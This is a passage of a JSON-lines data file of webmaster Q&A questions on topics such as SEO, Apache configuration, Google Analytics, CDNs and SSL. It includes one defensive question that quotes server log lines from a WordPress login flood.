one he likes the most. If your idea is selected, I will hire > you at a rate of US$1000 for the project (50% up front and the remainder on > sign-off). For that price I will expect you to work with me over the next 4 > weeks to tweak and finalize the over-all design for the site as well as help > me organize information for each of the pages (about 13 pages total) and > create a nice visual presentation. The client will be providing most of the > copy text; you will be provide the conversion of the final design to HTML > (including CSS; I can help with any JavaScript). It worked fine for the project at hand (the client was willing to pay quite a bit for design services), but I wonder in hind sight if it was too much (or too little). Thoughts?"}
{"id":"2838","title":"Screen resolutions and browser canvas sizes","text":"I've yet to find the ultimate resource that lists 'all' browsers and the actual visible canvas size (excludes browser chrome) for content. The closest was a table in the O'reilly book Web Design in a Nutshell:  The one thing is that this doesn't have the latest browsers. I figured that this community would be a good place to gather this info. I'll start by adding some: **Mac:** 1024 x 768 * Safari 5.0 - 1012 x 656 (w\/ tabs) * Chrome 6.0 - 1010 x 672 * Firefox 3.5 - 1009 x 654 (w\/ tabs)"}
{"id":"24209","title":"Why doesn't httrack follow robots.txt?","text":"I'm trying to use httrack to mirror my blog, which is currently hosted on blogger. Problem: in spite of the robots.txt file, httrack tries to download everything in the \/search subdirectory. This leads to an infinite regress of searches on searches. Here's the robots.txt file (I've replaced my blog name with \"myblog\"): User-agent: Mediapartners-Google Disallow: User-agent: * Disallow: \/search Allow: \/ Sitemap: http:\/\/myblog.blogspot.com\/feeds\/posts\/default?orderby=updated I can limit the crawl to depth 3 or 4, but I still get tons of search*.html and search\/label\/*.html files in the mirrored directory. httrack claims to follow robots.txt. Why doesn't it work here? What can I do to fix it?"}
{"id":"35981","title":"MediaWiki plugin for dynamic content via forms","text":"Are there any plugins for MediaWiki that would allow me to create a page that has a form at the top that when filled in populates tags further down in the document? Say someone would put a form with \"Source Server:\" and \"Destination Server:\" fields at the top. Once those were typed in it would automatically populate those names into the content lower so that when following the instructions you could just read the docs and not have to mentally replace things, and possibly mess it all up. I'm not looking to make pages that are permanent, just ones that can have values entered before they are followed. Any suggestions?"}
{"id":"2834","title":"What features in a website make you want to revisit?","text":"I'm looking for features in websites that I may not have seen before that are unique, and are _excellent features_ that not only improve the user- experience, but help the surfers come back for more. Such as: * StackOverflow's status update banner (seriously now this is awesome.) * RSS feeds (when they were new) * Hotlinks to social networks (facebook, twitter, etc..) * Auto-posting to social networks (popup and auto-post link\/content) * Mobile phone integration * OpenID login passthrough * AJAX push\/pull technology for content updates * tinyUrl and others that concatenate URLS shorter. I can think of many more, but if there is something you've seen that is unique to a site or isn't very well known, I'd love to know."}
{"id":"2833","title":"What is the best way to launch a website to make it go viral?","text":"Say for example I have a website that has finished BETA and is ready for full launch. I'm at the stage now I want it to be _very_ visible to start getting traffic. Right now, I am just getting some random search engine hits, word of mouth and a few referrals. How do I break out of this and really get some serious traffic to my site? Do I need to launch a huge ad-campaign? If so, what is the best\/most cost effective way to do this? I have tried google adwords but at $0.45+ a click this jsut isn't practical for what I have."}
{"id":"50355","title":"CMS fails at finishing setup with PHP-FPM and Apache, but why?","text":"I have installed Apache and PHP-FPM by following this tutorial. Unfortunately when I try to set up Drupal or PHP-Fusion it simply fails at the end of the setup. I mean it accepts everything and at the last step it does not load anything but a blank page. I suppose I have not installed a required PHP package, but I do not know which one it is. Thanks for your help in advance."}
{"id":"14355","title":"Show a single DIV from remote site to new site. Only http access to remote host","text":"we have cisco CWS working which has a web administration site. On that site it has DIV with 'overall summary'. We would like to show that DIV on a centralized monitoring system web that we are doing for ourselves. Is it possible to do a proxypass from apache to only that DIV? How I should manage the autentication process before reaching that DIV?"}
{"id":"5404","title":"How many keywords can I put in my page for google spiders","text":"How many keywords can I put in my page for google spiders ?"}
{"id":"1432","title":"Ways for client to include page ID in query?","text":"I'm no expert on web development, and need to find a way to let the browser call a PHP routine on the server with the current document ID as parameter, eg. http:\/\/www.acme.com\/index.php?id=1 I then need to call eg. \/change.php with id=1 to do something about that document. Unless I'm mistaken, there are three ways for the client to return this information: * if passed as argument in the URL (as above), it will be available as HTTP referrer * by including it as hidden field in * by sending it as cookie I suppose using a hidden field is the most obvious choice. Are there other ways? Which solution would you recommend? Any security issues to be aware? Thank you. * * * Edit: I needed a way for the client to learn some of the information returned by the server, such as the document ID. Apparently, the right way to solve my problem is by changing the server-side code so that this information is included in hyperlinks\/forms included in the HTML page."}
{"id":"3397","title":"Is there a good way to filter all the robots and domains they are on?","text":"I have been working more on the bot filter for my website, but by no means is it complete. So far I have the main ones: Google, Yahoo, MSN, Baidu, Amazon, and a few others... Right now, I am using a filter to compare the referral URL, existing domain, and known browsers vs. non-browser useragents. Are there any other good techniques to detect if the hit is coming from a bot or not?"}
{"id":"28004","title":"How to force browsers to always reload xslt files?","text":"_Related:Apache: How can I force the browser to reload CSS files?_ I'm building an xml page (on an apache2) that is supposed to be translated to xhtml by the browser, so my server also serves a `main.xslt` which is used as stylesheet by the xml file, similar to the scenario with the css files in the linked question. However, none of tricks provided in either that answer, nor some issues on SO solve the issue for Opera. While Firefox responds to F5 by fetching not only the xml file but also the xslt file, Opera only reloads the xml file. I tried both, setting the `Last-Modified` HTTP header via an `.htaccess` file and using the `expires` module of apache2. This is what my `.htaccess` looks right now: AddType text\/xsl;charset=utf-8 .xslt ExpiresByType text\/xsl \"modification plus 1 second\" Header set Last-Modified \"Wed, 08 Jan 2000 23:11:55 GMT\" #Header set Last-Modified \"Wed, 08 Jan 2020 23:11:55 GMT\" If I open the xsl myself and manually reload it, the xml presentation is updated as well, but this is tedious **for development**. Note: There is no php or any kind of scripting involved. Everything is static."}
{"id":"58400","title":"MediaWiki: Show newest Pages from an Category","text":"We are organizing most of our work inside an self hosted MediaWiki Installation. Now we want to show an overview page for an category, where the visitor can see the newest pages\/changes from this categorys. Like: Category: PHP * New Page: Added Documentation * Changes to PHP 5. Is there any built function or an working plugin available? I know about the possibilty to show recent changes on all kinds of content."}
{"id":"5409","title":"Given the choice is it better to have somekeywords.com, somekeyword2.com or myotherwebsite\/some-keywords, myotherwebsite\/some-keywords","text":"Hello I'm thinking of creating a family of websites which use the same engine, but target different topics. Given the choice is it better to have somekeywords.com, somekeywords2.com or myotherwebsite\/some-keywords, myotherwebsite\/some-keywords2. For example: stackexchange.com\/stackoverflow stackexchange.com\/askubuntu instead of stackoverflow.com askubuntu.com Thanks"}
{"id":"30207","title":"Google indexed my main site's content under subdomains","text":"Google is indexing top level domain content as though it belongs on subdomains and I want to disable this. My site has wildcards enabled and we also have two subdomains with unique content. The first subdomain serves as a blog, the second one has only one page. Both have backlinks. Google has indexed content from the main site under the subdomains as well. Let's say that we have a page at example.com\/page.html . The same page has also been indexed as subdomain.example.com\/page.html as well and sometimes ranks better than the one located at the main site. The thing is that we never placed this content at the subdomain. I've thought about adding canonical tags at the subdomains to help with the duplicate content issue. How can I stop Google from indexing those pages? I don't even know how Google found those, since we never placed them at the subdomains."}
{"id":"53033","title":"HTML Improvements Duplicate title tags in images","text":"For my website Google Webmaster Tool is showing more than 700 duplicate title tags. All are images url. I am in a trouble, because I have uploaded all images to wp-content\/uploads. But in WMT the link of images are indexed as url of the post added with alt text of the image as attribute. I don't know from where they are coming from, as I have uploaded them on wp-content\/uploads. What should I do to get rid of. Anyone who helps me will be appreciated. This website is on WordPress. "}
{"id":"57905","title":"How do I setup origin domain for Google PageSpeed Service?","text":"I have a WordPress site with cPanel (WHM) with VPS. Today I configured Google PageSpeed Service for my WordPress site. After I submitted my `WWW` domain, PSS automatically added my naked domain (without `www`) to Hosted By You. PSS works few hours without any issue. Now it's giving me \"Fetching content failed due to a DNS error\". According to this official DNS failure tutorial I added an origin domain to my WP site. If added `orgin.mydomain.com` (A record) and pointed it to my site IP (VPS main IP), it doesn't display my site. If I added `orgin.mydomain.com` to PageSpeed Service displays a blank site. How do I fix this issue? How do I setup origin domain name for my site?"}
{"id":"34239","title":"How do I disallow robots to access links on a certain port?","text":"I have a private web server set up on a non-conventional port (say 6677). All people can have access to the whole site's urls from 6677. The links by `mysite:6677` are also indexed by Google, which is not desireable, as I need to keep port 6677 discreet as a kind of workaround behind the front proxy which runs on 80. So, how can I disallow access to 6677 in `robots.txt`?"}
{"id":"28224","title":"Which hosted ecommerce solutions allow customization?","text":"Following my previous question, I'm now evaluating the possibility of using a hosted platform for the ecommerce project I have to implement. Before I start \"playing\" with each one of them, I'd like ask if anybody knows which ones allow a good degree of customization. At the moment I'm looking at BigCommerce, but it seems that customization is limited to templates, while I need additional features which require PHP Coding. Also, I'd need to be able to import additional product data into the system, and I'd need to do this via code; I had a look at some integrations, but they gave me the impression that they all run on the rendered page via JavaScript. For example, if I want to show Facebook Reviews on a product, I'll have to add some JS that will fetch it and show it on the page. This is not optimal, as I must cater for people with JS disabled, therefore I'd need to run my own PHP code. **Update** As suggested, I'd like to explain that \"customization\", in my case, means altering or extending the normal ecommerce workflow by \"tapping\" into events and performing specific operations (in my case, I'd have to add a handler of a hypotetical \"AfterPurchaseComplete\" event). This can't be achieved in a system that just allows to add JavaScript (which, as I wrote above, can be disabled and, therefore, useless), as it has to be executed by the server itself, in the same way many framework's run plugins. I could understand that hosted solutions don't normally allow arbitrary code to run on their systems, but, unfortunately, this would preclude all chances of using them."}
{"id":"38786","title":"SMTP on a different port?","text":"I would like to be able to run a SMTP server on port 25, but my ISP blocks it. Is there a way to use a different. I'm running XAMPP Mercury."}
{"id":"13976","title":"Accessing server stats using PHP","text":"There are over 10 stats packages installed in my server (AWStat, Webalizer, etc) and cPanel has an interface to show them in terms of visitors, bandwidth, popular pages, etc. **It is possible to access those stats through PHP?** Possible applications include getting a list of most popular content, reporting on visitors and taking actions depending on bandwidth, etc. I know that many of these features can be implemented by creating my own stats counting system but since that information is already somewhere, it could be awesome not to have to write more code to collect it."}
{"id":"13978","title":"How to implement user-friendly paths in PHP without creating a file or directory for each page?","text":"_NOTE: My terminology may not be entirely correct. I believe StackExchange does something like what I am asking, in case this can make things clearer._ Using **PHP on Apache** , I would like to handle URLs such as: http:\/\/www.site.com\/info\/<brand>\/<model>\/<page> For example with `<brand> = toyota, <model> = camry, <page> = 'safety'` And have all the URLs starting with 'info' (let's say) be handled by **a single PHP file like 'info.php' without the URL in the location bar changing**. In other words, someone navigates to: http:\/\/www.site.com\/info\/toyota\/camry\/safety But the code to handle this is in `info.php` but the URL in the browser stays as is. I do not want to have to create all the \/toyota\/camera\/safety directory structure (there would be 1000s). My guess is that info.php would get the path components as parameters in order to know what content to serve. So the internal invocation invisible to the user would be: info.php?brand=toyota&model=camera&page=safety Seems like the question here are doing something similar since they get URLs like: http:\/\/webmasters.stackexchange.com\/questions\/13978\/how-to-implement-user-friendly-paths-in-php-without-creating-a-file-or-directory and I presume the path there is not actually created on the server."}
{"id":"51557","title":"Am I changing my title of the site for SEO reasons in a correct way?","text":"I have a slang dictionary website. I saw that they only have the postname \/ title and there own website as the title. That was what I have, but I want to grow and to get higher on Google, so I changed it to `Posttitle ('definition' and 'meaning') > websitename` So I have added the terms `definition` and `meaning`, because I think that people look op un a word like `What is the meaning or definition of...`. Am I overthinking this? Is this overkill? Is it recommended? The post title can exceed the 70 characters, so will that be a problem? PS: changing it to `Posttitle ('what is it')` is also a thing that I can do. Is this fine?"}
{"id":"18114","title":"gTLDs... Should they be something to look at?","text":"I've received a few marketing emails in the last couple of days trying to sell seats at conventions wanting to explain the concept of gTLD's. My understanding is that gTLDs will allow the average joe (or at least, an average joe with $xx,xxx) to register custom domain extensions? For example '.sony' or '.band', allowing for phones.sony or metallica.band to be full domain names. Is this new functionality of any concern for the regular web user? Obviously it won't (or **shouldn't** affect search rankings - after all, it would allow those with the money to spend to buy their way up SERPS, but thats a different kettle of fish). Is the new gTLD system going to be another kind of 'domain' rush like in the late 90's? Is my understanding completely wrong?"}
{"id":"57902","title":"Will redirecting my domain name temporarily to a placeholder website affect my SEO?","text":"So we have this new customer, and they wanted to register their domain name themselves. Now they have this old company and old website which is outdated. So what they did, is register their domain names and redirected it to their old website. Normally I advice to not do this, just register and keep it, until the new site is up but it's already been done. So I have this question, should I act immediately telling them to disable the redirect, or should I just leave it. I know the old website is going to be indexed, this is not a good thing but my question is how harmful this is?"}
{"id":"18111","title":"What is the default type search done by google, while, processing a query","text":"What is the default type search done by google, while, processing a query. Does it do 'broad' 'phrase' or 'exact' match searches?"}
{"id":"18119","title":"What is a CSS form? How does one embed an AdSense ad into a CSS form?","text":"One of the Google AdSense optimization tips says to, \"Use a CSS form to embed the ads unit for more seamless design.\" What does this mean? How does one implement a CSS form?"}
{"id":"54224","title":"Google doesn't always show rich snippets when the site uses structured data","text":"I'm so tired of the Google structured data recipe. After some days, it loses the image and the extra information. Then I test it again, and it shows again. Some other days in the future it might go away even if it is still showing in test tool. What i can do? I tried with RDFa and schema.org microdata."}
{"id":"51740","title":"Does Link exchange technique become down my site?","text":"I have travel site that has some link exchange to another with free links. Last time, I and some friend use link exchange to give my links has good on PageRank and search engine that can give more visitor. Recent, I read some article on forum that know links exchange is violate, this article I get from Google. Does Link exchange technique become down my site? What should I do? Does I must delete my link exchange page."}
{"id":"30066","title":"Chrome causing 404's ending with \"\/cache\/[hex-string]\/\"?","text":"Since the last weeks we see many 404's on our sites caused by Chrome adding `\/cache\/[hex-string]\/` to the current page URL. The hex strings we have seen are: * e9c5ecc3f9d7fa1291240700c8da0728 * 1d292296547f895c613a210468b705b7 * 408cfdf76534ee8f14657ac884946ef2 * 9b0771373b319ba4f132b9447c7060a4 * b8cd4270356f296f1c5627aa88d43349 If you search for these strings you get matches from different sites, but they are most likely auto-generated (`\/search\/cache\/e9c5ecc3f9d7fa1291240700c8da0728\/` for example). Is this a known issue with Chrome (or an extension)?"}
{"id":"8596","title":"Google Analytics: Why does \"\/\" appear in goal funnel visualization?","text":"This is the goal funnel for checkout. Does anyone have any idea where the \"\/\" is coming from? The cart page is at site: game on glove dot com (I don't want this stackoverflow page being indexed in google particularly well).  Go to the site, click on the order button, make your selection, and click the button to enter the cart (it resolves to \/Cart and \/Shop-Cart). I believe I used the regular expression matching to match \"cart\". So why the \"\/\" (I don't know what is causing the home page to reload when users are on the Cart page within a Colorbox lightbox where the only way back to home or \"\/\" is to hit the exit button in the top right of the lightbox)? Here's my one guess for the former question but it doesn't seem likely: See the \"check out with paypal\" button? If you hovered over it, it does default to the home page which is what might be the \"\/\"... but it really redirects the user to the paypal.com page so it shouldn't also load the home page."}
{"id":"18505","title":"What other choices do we have other than the 301 redirect and CNAME on DNS?","text":"I have a main site http:\/\/qweop.com, and I would like to add an alias to it called http:\/\/qwepo.com. Now if I use a CNAME (currently this is what I'm using) on qwepo which maps `www` to `qweop.com`, then when i go http:\/\/qwepo.com I will be shown the content from http:\/\/qweop.com This is fine, however I want the browser address bar to show qweop.com instead of qwepo.com even if the user types visits http:\/\/qwepo.com and not http:\/\/qweop.com. Now I've heard of the 301 moved permanently, but it seems like it's a solution for people who have a new url for their website (which is of course not in my case here). What other choices do we have other than the 301 redirect and CNAME on DNS ? Basically the end result is that whenever someone types qwepo.com\/foobar it will bring them to qweop.com\/foobar AND the address bar will show qweop.com\/foobar PS: is domain forwarding the same thing as a 301 redirect? is masking the same thing as a CNAME on DNS ?"}
{"id":"34585","title":"i got mysql error on this statement i don't know why","text":"i got mysql error on this statement i don't know why error is: #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'CONSTRAINT fk_objet_code FOREIGN KEY (objet_code) REFERENCES objet(code) ) ENG' at line 6 sql code is CREATE TABLE IF NOT EXISTS `class` ( `numero` int(11) NOT NULL AUTO_INCREMENT, `type_class` varchar(100) DEFAULT NULL, `images` varchar(200) NOT NULL, PRIMARY KEY (`numero`) CONSTRAINT fk_objet_code FOREIGN KEY (objet_code) REFERENCES objet(code) ) ENGINE=InnoDB;;"}
{"id":"34584","title":"host and share files in my hosting","text":"I currently have a domain+hosting with unlimited hosting space for our website. On the other hand, I use Dropbox to share our organizational files and photos between about 10 users. The thing is that sharing photos uses too much space for what a free Dropbox account offers. So I am thinking of taking advantage of my hosting space, but using FTP seems not to be ideal for users who are not too skilled with computers. In addition, it doesn't handle versions in case some user makes a mess of it. And using a public FTP to upload and giving them only download permission doesn't seem a good idea as I am only the CTO. So what I want is basically to implement a local Dropbox for a few users, but I'd prefer something that is not too complex to install\/mantain. Thank you a lot."}
{"id":"34583","title":"Is there a visual web application builder or rapid webapp prototyping framework?","text":"**Question:** Is there such a thing as a self-hosted framework or CMS especially tailored towards the creation of _interactive web applications_ **without -- or with an absolute minimum of -- programming?** (Substantially less programming than say a simple Rails app or a plugin for Wordpress, Joomla etc would require.) As for desired features I'd settle for whatever is available, but some ideas could be: * A User authentication and Permissions system. * A GUI-driven **input form** builder. * A GUI-driven **template** \/ visual site design builder. * A simple **scripting language** (think AppleScript-like simplicity) * A highly modular architecture, with high-level business objects (users, forms data, etc) exposed for easy re-use. If something like the above doesn't exist, then what comes near this? **Need:** This is for self-hosted rapid prototyping of web applications, and limited user testing of webapp user interface designs in a closed user test. **Notes:** I know about Ruby on Rails (Rails), Django, Pyramid etc. I'm looking for something much faster to work in, for making prototypes. I know about CMS's in general but find that most of them are tailored towards _displaying_ information to the end users. If there is an exceptionally easy- to-master CMS with easy scripting (lets say much more so than for example Wordpress) then I'd be interested."}
{"id":"8593","title":"how can I change cpanel default page to index.php \/ index.html","text":"I have created a new domain and uploaded index.html to public directory. but it isnt displaying and cpanel default page is displaying instead. how can I change the same??"}
{"id":"56922","title":"Will the content of a PDF on our website affect SEO?","text":"I know that Google crawls websites including PDFs, but does the content contained within PDFs affect SEO rankings? We want to put some PDFs on our website but don't want to see our results take a nose-dive as a result. I know I can just add a _robots.txt_ directive to exclude them, but I would rather not do this if I don't need to (and frankly don't trust the crawlers to not just index them anyway)."}
{"id":"31331","title":"Is it legal to charge extra fees for copyrighted content on mobile platforms?","text":"this question just came up as we recently bought content from image stock portals. Many of those altered their license agreement in favor of charging more for using in mobile apps. So instead of using their standard licenses, you need to pay an \"extended\" licenses which multiplies the fee easily by 5-10. That doesn't make sense as the mobile device is just a smaller browser and protects the content even better than a desktop computer. Are those stock agencies allowed to do that, and is it legal at all ? I am not a lawyer but I would even risk to go on with the standard license and wait to be sued in that matter."}
{"id":"5892","title":"cookie not being sent when requesting JS","text":"I host a webservice, and provide my members with a Javascript bookmarklet, which loads a JS sript from my server. However, clients must be logged in, in order to receive the JS script. This works for almost everybody. However, some users on setups (i.e. browser\/OS) that are **known to work** for other people have the following problem: when they request the script via the javascript bookmarklet from my server, their cookie from my server does not get included with the request, and as such they are always \"not authenticated\". I'm making the request in the following way: var myScript = eltCreate('script'); myScript.setAttribute('src','http:\/\/myserver.com\/script'); document.body.appendChild(myScript); In a fit of confused desperation, I changed the script page to simply output \"My cookie has [x] elements\" where [x] is `count($_COOKIE)`. If this extremely small subset of users requests the script via the normal method, the message reads \"My cookie has 0 elements\". When they access the URL directly in their browser, the message reads \"My cookie has 7 elements\". What on earth could be going on?!"}
{"id":"11233","title":"How is Apple's enormously image-heavy site served so fast?","text":"Took a profile of the \"Smart Cover\" page on Apple's site using Pingdom. It's requesting 241 objects for a total page weight of 3472.6 KB! An absolute mammoth. How does this possibly translate into a 4-second download time? I'm not even on a great connection and it still loads in seconds using my clogged-up DSL. That interactive graphic towards the middle loads over 90 images per selected cover, at around 40k each. Still, it's done at blazing speeds. How do they do it?"}
{"id":"55388","title":"Does responsive Web Design affect SEO?","text":"I have watched the Webmaster Central 2013-11-18 hangout that is now on YouTube. According to John Mueller, a site will benefit in terms of SEO if it will be optimized for mobile devices. He said that in order to do this the webmaster needs to follow the Webmaster Guidelines for mobile websites. However John answered to this recent question in a completely different way. He stated that only common configuration errors are taken into account. According to the \"Building Smartphone-Optimized Websites\" guidelines, it's recommended for websites to be responsive: > \"i.e. sites that serve all devices on the same set of URLs, with each URL > serving the same HTML to all devices and using just CSS to change how the > page is rendered on the device. This is Google's recommended configuration.\" 1) Is it true that **only** common errors are taken into account for SERP, or it was true at the time of that question? 2) I have a website that gives the same URL, same HTML and same CSS to all the kind of devices. There are absolutely nor rules that display the site in a different way to mobile. If I open my site on an iPhone for example, I see the website displayed full screen, and the users have to tap and zoom in order to read it. This means that my site provides the same HTML, CSS, and URL to ALL the devices, but it's not responsive because it does not adapt to mobile browsers. For example a responsive website for smaller screens might have a different navbar, the sidebar goes to the bottom automatically, etc... I would like to know whether it is advisable (specific to ranking benefits) to edit the theme of my website to make it responsive, for example using a framework like Bootstrap or Foundation, or just adding media specific CSS. Or maybe I can avoid making the website responsive because it's already fine as it is, since the same URL, CSS, and HTML are given to all devices, thus switching to responsive design will not affect my site's rankings at all?"}
{"id":"33630","title":"Need a CDN with SSL","text":"We currently use Edgecast through Speedyrails. Back when I did my research they were both fast and very cost-effective. I haven't looked in a while, but now we need SSL on our assets as well. I reached out to our current provider and they want a setup fee and something like 260 USD **per host per month** (we use multiple hosts currently). I looked at AWS Cloudfront and it seems the most cost affective way to get SSL, but it's not a custom domain then (e.g. cdn.example.org), which I could live with. Has any else researched this lately and has any providers to get in touch with - can be resellers or direct buys. I'm not looking for a bargain, I just want to get an idea what these things cost. **Edit, 2012-08-23** : Must have is custom origin. E.g. I don't want to manually upload files somewhere else. Edgecast and Cloudfront both support this."}
{"id":"61710","title":"Does Google Webmaster Tools allow me to find out which pages are indexed?","text":"If I'd go to Crawl -> Sitemaps section there will be a list of sitemaps with the number of total pages in each one and the number of indexed pages indicated. However I didn't see any way of finding out which pages of the sitemap actually indexed. Of course I could use Google search with keyword \"site:mysite.com\" to have a look at the list of indexed pages but there will be no correlation to the sitemap. I will not be able to do any analysis of reasons the pages are not in index."}
{"id":"48986","title":"apache2 subdirectory access","text":"I am setting up an apache server on my linux (debian) machine. I am making a website, with sub directories that contains my css and image file. Here is my config. <Directory \/var\/www\/*> Options Indexes FollowSymLinks MultiViews AllowOverride none Order allow,deny Allow from all <\/Directory> Is that configuration correct for access to sub directory"}
{"id":"61713","title":"canonical or redirecting","text":"When I have a page with the URI lets say `www.example.com\/page` there might be the possibility that users or links end up sending the user to pages like this: `www.example.com\/\/\/\/\/\/page?` I could just use a canonical on the page which refers to `www.example.com\/page`, but my fist question is whether a redirection via PHP with: `header (\"Location: http:\/\/www.example.com\/page\")` might be more useful. It is definitely more user-friendly, which should be the overall goal. My second question now is, in case I use the canonical, should I include the canonical tag into the page standard html or should I just put it in there via PHP if the canonical differs from the current page URI?"}
{"id":"51407","title":"How to get email from depreciated mail server (without FTP)","text":"OK... a client of mine has switch DNS and webmail hosts - They have their email set up on the new host and is ready to go. However, there are still a whole bunch of emails on their old server - they didnt back them up locally before they switched. The old mail server is really minimalistic. It has CPanel but you can only access webmail and set up new email accounts from it. There is no file manager and you cannot access the mail via FTP. - Only via Roundcube or Squirrel Mail. Does anyone know a way I can pull the email off this server via Roundcube or Squirrel Mail? Or any other way for that matter?"}
{"id":"22338","title":"Why not AJAX'ify entire websites?","text":"Is there any solid reasoning as to why sites shouldn't be developed with ajax functionality that loads major parts of each part (assuming there are elements like the header, navigation etc that remain the same)? Surely it would be less resource-intensive since the server wouldn't have to serve content that appears on every page, benefiting both the host and end- user. Answer the question taking into consideration: * The sites javascript behaviour degrades gracefully in every instance * For my question I'm talking about new sites where this behaviour could be implemented rather from the off, so it doesn't technically cost any money - we're not returning to a finished product to implement it."}
{"id":"22331","title":"Remove home page from Google cache","text":"The Google Webmaster Tools Remove URL section allows you to specify a page URL to be removed from the index, or cache, or both. However, I want to remove just the home page, which is \/ I want to remove it from the cache because it is indexed when the \"under construction\" page was up. This URL is not recognised by the Remove URL section as an individual page. Instead Google assumes you want to remove the entire website from the index. I've specified \/index.php and \/index.html to be removed from the cache, but this is not the URL listed in the search results for the home page I want removed from the cache."}
{"id":"25319","title":"SSL 128bit... Why not 256bit","text":"Have set up an SSL certificate for a new site, and in checking with the browser, the SSL states it's encrypted with 128bit encryption. I have tried with the latest versions of Chrome, IE9 and FF, all with the same result. The certificate is from trustico - RapidSSL - which states up to 256bit is supported. This makes me think that it supports 256bit if the browser supports it. The site is being hosted on IIS 6. Has anybody run into this?"}
{"id":"25649","title":"Need suggestions for automated file and MySQL database backup on shared web host","text":"We have several websites at multiple hosting companies (all shared hosts - some using cPanel, others using Plesk) and we're looking for a way to backup all files and MySQL databases for each site. We'd like nightly or more frequent backups and prefer that it is completely automated. My current plan is to store all the backups on an Amazon S3 account or similar. But I'm not sure what tools are out there to accomplish the collection and transfer of the files and databases. It would be nice if there's a way to do everything through a centralized management system, but that's not an absolute requirement. Any help or suggestions would be greatly appreciated!"}
{"id":"36001","title":"What does it mean that hosting ToS DOESN'T allows HOTLINKS and WHY is it like that?","text":"> **Possible Duplicate:** > Hotlinking: what is it, and why shouldn’t people do it? Free hosting services often **doesn't allow** to use **hotlinks**. I'm not sure if I understand it well and what is the reason of such a disaproval. I would like to have pictures for my webpages in _Photobucket_ e.g. which is allowed to have hotlinks and use those pictures using hotlinks on my sites. Is it that what is not allowed? **What is a problem** for free host server owners to **accept such links**? Bandwidth of _Photobucket_ is used only as I understand and it is completely legal. I'v read quite enough abt hotlinks, but I can't understand this simple issue."}
{"id":"59464","title":"Does Google pick up anchor text that is in nested elements?","text":"When Google looks at anchor text on a website, will it pickup the text if it is inside nested elements? So for example: <a href=\"http:\/\/www.google.com\/\">Visit Google<\/a> To: <a href=\"http:\/\/www.google.com\/\"> <div class=\"circle\"> <span>Visit Google<\/span> <\/div> <\/a> The reason I ask is because I want to use css3 elements for certain links on my website, to style them as circles. But the anchor text needs to be picked up for these links, so I want to know wether or not the above is bad practice in this case."}
{"id":"53109","title":"Google Analytics: Can I track conversion rates from specific sources?","text":"I'm looking around GA to see if I can find a way to track from specific websites and their progress on our website. I need to know the amount of people finding our marketing material on website A, then out of them showing me how many of the website A traffic has then signed up. Is this possible? I've looked into using PadiTrack but if I wanted to know the results from a specific website, I would have to create a landing page for each website where I post marketing material (I think). Are there any other ways to track conversion rates like this for specific traffic sources?"}
{"id":"39127","title":"Will search engines penalize my site if I reuse a paragraph from the frontpage on the subpage?","text":"My website's frontpage lists my various services with a synopsis for each. If I use that short synopsis as an introductory paragraph on the subpage for that service, would that be considered duplicate content? The subpage would have much more than just the synopsis on it."}
{"id":"35189","title":"What is bounce rate in google Analytics?","text":"> **Possible Duplicate:** > How does google calculate bounce rate? I hosted a new site and used google analytics in it. I noticed that they're giving a value called bounce off rate. Can anyone explain what it it?"}
{"id":"68510","title":"Server flooded with Wordpress login requests. Need advice","text":"Recently I was looking at the nginx access logs and found on 2 ocassions a large ammount of requests pointed towards my WP login page. There were over 50.000 requests coming from 2 different IP adresses. I don't think that these are coming from automated bots, but rather a person that knows what is he doing. My website published an article about government surveillance, and after it was published, the next day I was flooded with requests like these. Previously I haven't noticed any strange activity showing up. Is there any way on the server side to throttle \/ block this kind of requests? I'm using LEMP stack on a VPS from Digital Ocean. I see a lot of people are mentioning fail2ban as an option, but is there a more simple solution? If not, how do I properly configure fail2ban to identify and block requests that exceeds \"n\" requests \/ sec? Can you advice me something else to properly secure my website? I'm planning to implement https to the login page, I'm already using SSH keys, and using pretty hard to bruteforce passwords. Here's a small capture of the requests that were coming yesterday. I've already reported the IP address for abuse at the provider, but I don't think it will make a difference. 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\" 195.159.29.178 - - [26\/Aug\/2014:18:32:08 -0400] \"POST \/wp-login.php HTTP\/1.0\" 302 0 \"-\" \"-\""}
{"id":"57158","title":"Can a domain registrar prevent me from keeping my domain name?","text":"I have bought domain names from multiple companies (e.g, GoDaddy, `nic.com`, eNom, and Google Apps). Assuming that one of my projects will be successful, I wonder if one of these companies can take advantage of that and arbitrarily say that they won't renew the domain name for me, and eventually sell it to somebody else. Or maybe they could increase the renewal fee so much that will be impossible for me to pay it? Can this actually happen? If yes how can I prevent it?"}
{"id":"30136","title":"Google Analytics events: set page url parameter","text":"Is it possible to set custom page url parameter (named **utmp** in request), when tracking events with Google Analytics? I have set custom url for tracking pages ['_trackPageview', 'www.my.url.com\/...'] But that does not have effect for events."}
{"id":"42473","title":"Plesk 11 SQL Server DB Restore from Zip Fle","text":"This is a feature i had in DotNetPanel which i guess i took for granted because now that I've moved to Plesk 11, I don't have it anymore, and boy does it hurt. My database restore uploads have increased from around 2mb (for a specific site) to around 50mb uncompressed. No big deal in first world nations with super fast internet, but try this over a shitty connection in GUatemala or Nicaragua, and you'll know my pain. I'm wondering if anybody out there knows of any third-party apps that can help me? Sure i can ftp a zip file, RDP to the server, unzip, then restore from there, but RDP is sometimes painfully slow or even unavailable from some of these connections i'm forced to use, so i need something web-based. Thanks in advance Greg"}
